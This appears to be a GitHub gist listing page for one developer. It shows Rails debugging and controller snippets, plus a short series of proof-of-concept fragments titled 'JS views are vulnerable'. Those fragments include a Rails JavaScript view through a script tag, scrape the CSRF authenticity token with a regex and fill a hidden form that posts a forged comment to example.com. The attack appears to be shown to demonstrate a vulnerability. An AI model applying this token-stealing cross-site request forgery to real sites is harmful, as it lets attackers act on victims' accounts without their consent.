Maksim Abramchuk MaksimAbramchuk

MaksimAbramchuk / gist:69dbcdba784bf0306c84

Created July 28, 2014 09:39

Error

	Started GET "/users/35/edit" for 127.0.0.1 at 2014-07-28 12:38:51 +0300
	Processing by UsersController#edit as HTML
	Parameters: {"id"=>"35"}
	User Load (1.7ms) SELECT "users".* FROM "users" WHERE "users"."id" = 32 ORDER BY "users"."id" ASC LIMIT 1

	From: /home/maxim-abramchuck/Dropbox/Work/Rails/adv_board/app/controllers/users_controller.rb @ line 15 UsersController#edit:

	14: def edit
	=> 15: binding.pry
	16: @user.build_avatar unless @user.avatar

MaksimAbramchuk / gist:93be6c198a28eba5d8df

Created August 11, 2014 15:21

app_controller

	require 'app_responder'

	class ApplicationController < ActionController::Base
	include Pundit

	protect_from_forgery with: :exception

	before_action :authenticate_user!
	before_action :configure_permitted_parameters, if: :devise_controller?

MaksimAbramchuk / gist:b40e49e19b1e1c2fe042

Created June 15, 2015 12:43

CircleCI + Rubocop

MaksimAbramchuk / code_2.html

Last active January 19, 2016 17:30

	<html>
	<head>
	<script type=”text/javascript” src=”index.js”></script>
	<title>JS views are vulnerable</title>
	</head>
	<body>
	<form action=”http://example.com/comments" method=”POST”>
	<input id=”token” type=”hidden” name=”authenticity_token” value=””>
	<input type=”hidden” name=”comment[model_id]” value=”76678">
	<input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>

MaksimAbramchuk / code_1.js

Created January 19, 2016 17:30

$(“.wrapper.dev”).after(“<%= escape_javascript(render(:partial => @partial))%>”)

MaksimAbramchuk / code_3.js

Created January 19, 2016 17:32

	var _document = document;
	var token = ‘’;

	getSecureInfo = function (html) {
	matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
	token = matches[1];
	document.getElementById(‘token’).value = token;
	};

	function $() {

MaksimAbramchuk / code_4.js

Created January 19, 2016 17:33

MaksimAbramchuk / code_5.js

Created January 19, 2016 17:35

document.write(‘<script src=”http://example.com/users/maximabramchuk/books/new.js"></script>');

MaksimAbramchuk / code_6.js

Created January 19, 2016 17:37

	getSecureInfo = function (html) {
	matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
	token = matches[1];
	document.getElementById(‘token’).value = token;
	};

MaksimAbramchuk / code_7.js

Created January 19, 2016 17:39

document.addEventListener(‘DOMContentLoaded’, function () {  document.getElementById(‘token’).value = token; }, false);